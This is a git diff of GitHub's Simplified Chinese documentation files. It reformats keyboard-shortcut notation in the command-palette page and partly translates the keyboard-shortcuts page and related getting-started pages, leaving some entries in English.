@@ -60,7 +58,7 @@ You can use the command palette to navigate to any page that you have access to
 
 4. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions.
 
-5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Searching with the {% data variables.product.prodname_command_palette %}
 
@@ -87,7 +85,7 @@ You can use the command palette to search for anything on {% data variables.prod
 
    {% endtip %}
 
-5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd><kbd>Enter</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
+5. Use the arrow keys to highlight the search result you want and use <kbd>Enter</kbd> to jump to your chosen location. Alternatively, use <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) to open the location in a new browser tab.
 
 ## Running commands from the {% data variables.product.prodname_command_palette %}
 
@@ -98,7 +96,7 @@ You can use the {% data variables.product.prodname_command_palette %} to run com
 
 For a full list of supported commands, see "[{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference)."
 
-1. Use <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux) or <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
+1. Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux) or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac) to open the command palette in command mode. If you already have the command palette open, press <kbd>></kbd> to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location.
 
    ![Command palette command mode](/assets/images/help/command-palette/command-palette-command-mode.png)
 
@@ -112,8 +110,8 @@ For a full list of supported commands, see "[{% data variables.product.prodname_
 
 When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette:
 
-- Search and navigation mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>k</kbd> (Mac)
-- Command mode: <kbd>esc</kbd> or <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>k</kbd> (Windows and Linux)  <kbd>⌘</kbd><kbd>Shift</kbd><kbd>k</kbd> (Mac)
+- Search and navigation mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>K</kbd> (Mac)
+- Command mode: <kbd>Esc</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Windows and Linux)  <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>K</kbd> (Mac)
 
 ## {% data variables.product.prodname_command_palette %} reference
 
@@ -121,17 +119,17 @@ When the command palette is active, you can use one of the following keyboard sh
 
 These keystrokes are available when the command palette is in navigation and search modes, that is, they are not available in command mode.
 
-| Keystroke                                                       | Function                                                                                                                                                                                                                                       |
-|:--------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| <kbd>></kbd>                                                    | Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)."                                                        |
-| <kbd>#</kbd>                                                    | Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                             |
-| <kbd>@</kbd>                                                    | Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                       |
-| <kbd>/</kbd>                                                    | Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
-| <kbd>!</kbd>                                                    | Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                                |
-| <kbd>Ctrl</kbd><kbd>c</kbd> or <kbd>⌘</kbd><kbd>c</kbd>         | Copy the search or navigation URL for the highlighted result to the clipboard.                                                                                                                                                                 |
-| <kbd>Enter</kbd>                                                | Jump to the highlighted result or run the highlighted command.                                                                                                                                                                                 |
-| <kbd>Ctrl</kbd><kbd>Enter</kbd> or <kbd>⌘</kbd><kbd>Enter</kbd> | Open the highlighted search or navigation result in a new brower tab.                                                                                                                                                                          |
-| <kbd>?</kbd>                                                    | Display help within the command palette.                                                                                                                                                                                                       |
+| Keystroke                                                               | Function                                                                                                                                                                                                                                       |
+|:----------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>></kbd>                                                            | Enter command mode. For more information, see "[Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette)."                                                        |
+| <kbd>#</kbd>                                                            | Search for issues, pull requests, discussions, and projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                             |
+| <kbd>@</kbd>                                                            | Search for users, organizations, and repositories. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                       |
+| <kbd>/</kbd>                                                            | Search for files within a repository scope or repositories within an organization scope. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)." |
+| <kbd>!</kbd>                                                            | Search just for projects. For more information, see "[Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette)."                                                                |
+| <kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Command</kbd>+<kbd>C</kbd>         | Copy the search or navigation URL for the highlighted result to the clipboard.                                                                                                                                                                 |
+| <kbd>Enter</kbd>                                                        | Jump to the highlighted result or run the highlighted command.                                                                                                                                                                                 |
+| <kbd>Ctrl</kbd>+<kbd>Enter</kbd> or <kbd>Command</kbd>+<kbd>Enter</kbd> | Open the highlighted search or navigation result in a new brower tab.                                                                                                                                                                          |
+| <kbd>?</kbd>                                                            | Display help within the command palette.                                                                                                                                                                                                       |
 
 ### Global commands
 
diff --git a/translations/zh-CN/content/get-started/using-github/github-mobile.md b/translations/zh-CN/content/get-started/using-github/github-mobile.md
index 76e50e0dd8..2625518bd9 100644
--- a/translations/zh-CN/content/get-started/using-github/github-mobile.md
+++ b/translations/zh-CN/content/get-started/using-github/github-mobile.md
@@ -34,7 +34,7 @@ To install {% data variables.product.prodname_mobile %} for Android or iOS, see
 
 ## Managing accounts
 
-You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}.
+You can be simultaneously signed into mobile with one user account on {% data variables.product.prodname_dotcom_the_website %} and one user account on {% data variables.product.prodname_ghe_server %}. For more information about our different products, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
 
 {% data reusables.mobile.push-notifications-on-ghes %}
 
@@ -50,11 +50,11 @@ During the beta for {% data variables.product.prodname_mobile %} with {% data va
 
 ### Adding, switching, or signing out of accounts
 
-You can sign into mobile with a user account on {% data variables.product.product_location %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
+You can sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap {% octicon "plus" aria-label="The plus icon" %} **Add Enterprise Account**. Follow the prompts to sign in.
 
-After you sign into mobile with a user account on {% data variables.product.product_location %}, you can switch between the account and your account on  {% data variables.product.prodname_dotcom_the_website %}.  At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
+After you sign into mobile with a user account on {% data variables.product.prodname_ghe_server %}, you can switch between the account and your account on {% data variables.product.prodname_dotcom_the_website %}. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, then tap the account you want to switch to.
 
-If you no longer need to access data for your user account on {% data variables.product.product_location %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
+If you no longer need to access data for your user account on {% data variables.product.prodname_ghe_server %} from {% data variables.product.prodname_mobile %}, you can sign out of the account. At the bottom of the app, long-press {% octicon "person" aria-label="The person icon" %} **Profile**, swipe left on the account to sign out of, then tap **Sign out**.
 
 ## Supported languages for {% data variables.product.prodname_mobile %}
 
diff --git a/translations/zh-CN/content/get-started/using-github/index.md b/translations/zh-CN/content/get-started/using-github/index.md
index d0e1e4d2f2..a991f87f28 100644
--- a/translations/zh-CN/content/get-started/using-github/index.md
+++ b/translations/zh-CN/content/get-started/using-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub
-intro: 'Explore {% data variables.product.company_short %}''s products from different platforms and devices.'
+title: 使用 GitHub
+intro: '探索来自不同平台和设备的 {% data variables.product.company_short %} 产品。'
 redirect_from:
   - /articles/using-github
   - /github/getting-started-with-github/using-github
@@ -19,3 +19,4 @@ children:
   - /github-command-palette
   - /troubleshooting-connectivity-problems
 ---
+
diff --git a/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md b/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md
index 2265ca6c86..6984d251bf 100644
--- a/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md
+++ b/translations/zh-CN/content/get-started/using-github/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.'
+title: 键盘快捷键
+intro: '几乎 {% data variables.product.prodname_dotcom %} 上的每一页都有键盘快捷键，可以更快地执行操作。'
 redirect_from:
   - /articles/using-keyboard-shortcuts
   - /categories/75/articles
@@ -14,209 +14,214 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About keyboard shortcuts
 
-Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate.
+## 关于键盘快捷键
+
+Typing <kbd>?</kbd> on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. 您可以使用这些键盘快捷键对站点执行操作，而无需使用鼠标导航。
 
 {% if keyboard-shortcut-accessibility-setting %}
 You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see "[Managing accessibility settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings)."{% endif %}
 
-Below is a list of some of the available keyboard shortcuts.
+下面是一些可用键盘快捷键的列表。
 {% if command-palette %}
 The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Site wide shortcuts
+## 站点快捷键
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>s</kbd> or <kbd>/</kbd> | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
-|<kbd>g</kbd> <kbd>n</kbd> | Go to your notifications. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
-|<kbd>esc</kbd> | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in
-{% if command-palette %}|<kbd>control</kbd><kbd>k</kbd> or <kbd>command</kbd><kbd>k</kbd> | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+| 键盘快捷键                       | 描述                                                                                                                                                                                                                                                            |
+| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>s</kbd> 或 <kbd>/</kbd> | 聚焦于搜索栏。 更多信息请参阅“[关于在 {% data variables.product.company_short %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。                                                                                                     |
+| <kbd>g</kbd> <kbd>n</kbd>   | 转到您的通知。 更多信息请参阅{% ifversion fpt or ghes or ghae or ghec %}"[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}“[关于通知](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}”。 |
+| <kbd>esc</kbd>              | 当聚焦于用户、议题或拉取请求悬停卡时，关闭悬停卡并重新聚焦于悬停卡所在的元素                                                                                                                                                                                                                        |
 
-## Repositories
+{% if command-palette %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>g</kbd> <kbd>c</kbd> | Go to the **Code** tab
-|<kbd>g</kbd> <kbd>i</kbd> | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)."
-|<kbd>g</kbd> <kbd>p</kbd> | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
-|<kbd>g</kbd> <kbd>a</kbd> | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %}
-|<kbd>g</kbd> <kbd>b</kbd> | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)."
-|<kbd>g</kbd> <kbd>w</kbd> | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %}
-|<kbd>g</kbd> <kbd>g</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %}
+<kbd>control</kbd><kbd>k</kbd> or <kbd>command</kbd><kbd>k</kbd> | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Source code editing
+## 仓库
 
-| Keyboard shortcut | Description
-|-----------|------------{% ifversion fpt or ghec %}
-|<kbd>.</kbd>| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
-| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}
-|<kbd>e</kbd> | Open source code file in the **Edit file** tab
-|<kbd>control f</kbd> or <kbd>command f</kbd> | Start searching in file editor
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Find next
-|<kbd>control shift g</kbd> or <kbd>command shift g</kbd> | Find previous
-|<kbd>control shift f</kbd> or <kbd>command option f</kbd> | Replace
-|<kbd>control shift r</kbd> or <kbd>command shift option f</kbd> | Replace all
-|<kbd>alt g</kbd> | Jump to line
-|<kbd>control z</kbd> or <kbd>command z</kbd> | Undo
-|<kbd>control y</kbd> or <kbd>command y</kbd> | Redo
-|<kbd>command shift p</kbd> | Toggles between the **Edit file** and **Preview changes** tabs
-|<kbd>control s</kbd> or <kbd>command s</kbd> | Write a commit message
+| 键盘快捷键                     | 描述                                                                                                                                                                                                                                          |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>g</kbd> <kbd>c</kbd> | 转到 **Code（代码）**选项卡                                                                                                                                                                                                                          |
+| <kbd>g</kbd> <kbd>i</kbd> | 转到 **Issues（议题）**选项卡。 更多信息请参阅“[关于议题](/articles/about-issues)”。                                                                                                                                                                              |
+| <kbd>g</kbd> <kbd>p</kbd> | 转到 **Pull requests（拉取请求）**选项卡。 For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
+| <kbd>g</kbd> <kbd>a</kbd> | 转到 **Actions（操作）**选项卡。 更多信息请参阅“[关于 Actions](/actions/getting-started-with-github-actions/about-github-actions)”。{% endif %}
+| <kbd>g</kbd> <kbd>b</kbd> | 转到 **Projects（项目）**选项卡。 更多信息请参阅“[关于项目板](/articles/about-project-boards)”。                                                                                                                                                                   |
+| <kbd>g</kbd> <kbd>w</kbd> | 转到 **Wiki** 选项卡。 更多信息请参阅“[关于 wiki](/communities/documenting-your-project-with-wikis/about-wikis)”。{% ifversion fpt or ghec %}
+| <kbd>g</kbd> <kbd>g</kbd> | 转到 **Discussions（讨论）**选项卡。 更多信息请参阅“[关于讨论](/discussions/collaborating-with-your-community-using-discussions/about-discussions)”。{% endif %}
 
-For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands).
+## 源代码编辑
 
-## Source code browsing
+| 键盘快捷键                                                           | 描述                                                                                                                                                                            |
+| --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| <kbd>.</kbd>                                                    | Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
+| <kbd>control b</kbd> 或 <kbd>command b</kbd>                     | 插入 Markdown 格式用于粗体文本                                                                                                                                                          |
+| <kbd>control i</kbd> 或 <kbd>command i</kbd>                     | 插入 Markdown 格式用于斜体文本                                                                                                                                                          |
+| <kbd>control k</kbd> 或 <kbd>command k</kbd>                     | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
+| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd>        | Inserts Markdown formatting for an ordered list                                                                                                                               |
+| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd>        | Inserts Markdown formatting for an unordered list                                                                                                                             |
+| <kbd>control shift .</kbd> or <kbd>command shift.</kbd>         | Inserts Markdown formatting for a quote{% endif %}
+| <kbd>e</kbd>                                                    | 在 **Edit file（编辑文件）**选项卡中打开源代码文件                                                                                                                                              |
+| <kbd>control f</kbd> 或 <kbd>command f</kbd>                     | 开始在文件编辑器中搜索                                                                                                                                                                   |
+| <kbd>control g</kbd> 或 <kbd>command g</kbd>                     | 查找下一个                                                                                                                                                                         |
+| <kbd>control shift g</kbd> or <kbd>command shift g</kbd>        | 查找上一个                                                                                                                                                                         |
+| <kbd>control shift f</kbd> or <kbd>command option f</kbd>       | 替换                                                                                                                                                                            |
+| <kbd>control shift r</kbd> or <kbd>command shift option f</kbd> | 全部替换                                                                                                                                                                          |
+| <kbd>alt g</kbd>                                                | 跳至行                                                                                                                                                                           |
+| <kbd>control z</kbd> 或 <kbd>command z</kbd>                     | 撤消                                                                                                                                                                            |
+| <kbd>control y</kbd> 或 <kbd>command y</kbd>                     | 重做                                                                                                                                                                            |
+| <kbd>command shift p</kbd>                                      | 在 **Edit file（编辑文件）** 与 **Preview changes（预览更改）**选项卡之间切换                                                                                                                      |
+| <kbd>control s</kbd> 或 <kbd>command s</kbd>                     | 填写提交消息                                                                                                                                                                        |
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>t</kbd> | Activates the file finder
-|<kbd>l</kbd> | Jump to a line in your code
-|<kbd>w</kbd> | Switch to a new branch or tag
-|<kbd>y</kbd> | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)."
-|<kbd>i</kbd> | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)."
-|<kbd>a</kbd> | Show or hide annotations on diffs
-|<kbd>b</kbd> | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)."
+有关更多键盘快捷键，请参阅 [CodeMirror 文档](https://codemirror.net/doc/manual.html#commands)。
 
-## Comments
+## 源代码浏览
 
-| Keyboard shortcut | Description
-|-----------|------------
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-| <kbd>control e</kbd> or <kbd>command e</kbd> | Inserts Markdown formatting for code or a command within a line{% endif %}
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link
-| <kbd>control shift p</kbd> or <kbd>command shift p</kbd>| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
+| 键盘快捷键        | 描述                                                                                      |
+| ------------ | --------------------------------------------------------------------------------------- |
+| <kbd>t</kbd> | 激活文件查找器                                                                                 |
+| <kbd>l</kbd> | 跳至代码中的某一行                                                                               |
+| <kbd>w</kbd> | 切换到新分支或标记                                                                               |
+| <kbd>y</kbd> | 将 URL 展开为其规范形式。 更多信息请参阅“[获取文件的永久链接](/articles/getting-permanent-links-to-files)”。       |
+| <kbd>i</kbd> | 显示或隐藏有关差异的评论。 更多信息请参阅“[评论拉取请求的差异](/articles/commenting-on-the-diff-of-a-pull-request)”。 |
+| <kbd>a</kbd> | 在差异上显示或隐藏注释                                                                             |
+| <kbd>b</kbd> | 打开追溯视图。 更多信息请参阅“[跟踪文件中的更改](/articles/tracing-changes-in-a-file)”。                       |
+
+## 评论
+
+| 键盘快捷键                                                    | 描述                                                                                                                                                                           |
+| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>control b</kbd> 或 <kbd>command b</kbd>              | 插入 Markdown 格式用于粗体文本                                                                                                                                                         |
+| <kbd>control i</kbd> 或 <kbd>command i</kbd>              | 插入斜体文本的 Markdown 格式{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+| <kbd>control e</kbd> 或 <kbd>command e</kbd>              | 在行内插入代码或命令的 Markdown 格式{% endif %}
+| <kbd>control k</kbd> 或 <kbd>command k</kbd>              | 插入 Markdown 格式用于创建链接                                                                                                                                                         |
+| <kbd>control shift p</kbd> 或 <kbd>command shift p</kbd>  | Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list                                                                                                                              |
 | <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list{% endif %}
-| <kbd>control enter</kbd> | Submits a comment
-| <kbd>control .</kbd> and then <kbd>control [saved reply number]</kbd> | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %}
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %}
-| <kbd>r</kbd> | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." |
+| <kbd>control enter</kbd>                                 | 提交评论                                                                                                                                                                         |
+| <kbd>control .</kbd>，然后 <kbd>control [已保存回复编号]</kbd>     | 打开已保存回复菜单，然后使用已保存回复自动填写评论字段。 更多信息请参阅“[关于已保存回复](/articles/about-saved-replies)”。{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift .</kbd> or <kbd>command shift.</kbd>  | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %}
+| <kbd>control g</kbd> 或 <kbd>command g</kbd>              | 插入建议。 更多信息请参阅“[审查拉取请求中提议的更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)”。 
+{% endif %}
+| <kbd>r</kbd>                                             | 在您的回复中引用所选的文本。 更多信息请参阅“[基本撰写和格式语法](/articles/basic-writing-and-formatting-syntax#quoting-text)”。                                                                             |
 
-## Issue and pull request lists
+## 议题和拉取请求列表
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Create an issue
-| <kbd>control /</kbd> or <kbd>command /</kbd> | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."||
-|<kbd>u</kbd> | Filter by author
-|<kbd>l</kbd> | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-| <kbd>alt</kbd> and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-|<kbd>m</kbd> | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)."
-|<kbd>a</kbd> | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)."
-|<kbd>o</kbd> or <kbd>enter</kbd> | Open issue
+| 键盘快捷键                                       | 描述                                                                                                                                                                                          |
+| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                                | 创建议题                                                                                                                                                                                        |
+| <kbd>control /</kbd> 或 <kbd>command /</kbd> | 将光标聚焦于议题或拉取请求搜索栏。 For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."| |
+| <kbd>u</kbd>                                | 按作者过滤                                                                                                                                                                                       |
+| <kbd>l</kbd>                                | 按标签过滤或编辑标签。 更多信息请参阅“[按标签过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-labels)”。                                                                                                |
+| <kbd>alt</kbd> 并单击                          | 按标签过滤时，排除标签。 更多信息请参阅“[按标签过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-labels)”。                                                                                               |
+| <kbd>m</kbd>                                | 按里程碑过滤或编辑里程碑。 更多信息请参阅“[按里程碑过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-milestone)”。                                                                                          |
+| <kbd>a</kbd>                                | 按受理人过滤或编辑受理人。 更多信息请参阅“[按受理人过滤议题和拉取请求](/articles/filtering-issues-and-pull-requests-by-assignees)”。                                                                                          |
+| <kbd>o</kbd> 或 <kbd>enter</kbd>             | 打开议题                                                                                                                                                                                        |
 
-## Issues and pull requests
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>q</kbd> | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)."
-|<kbd>m</kbd> | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)."
-|<kbd>l</kbd> | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)."
-|<kbd>a</kbd> | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)."
-|<kbd>cmd + shift + p</kbd> or <kbd>control + shift + p</kbd> | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %}
-|<kbd>alt</kbd> and click | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
-|<kbd>shift</kbd> and click | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
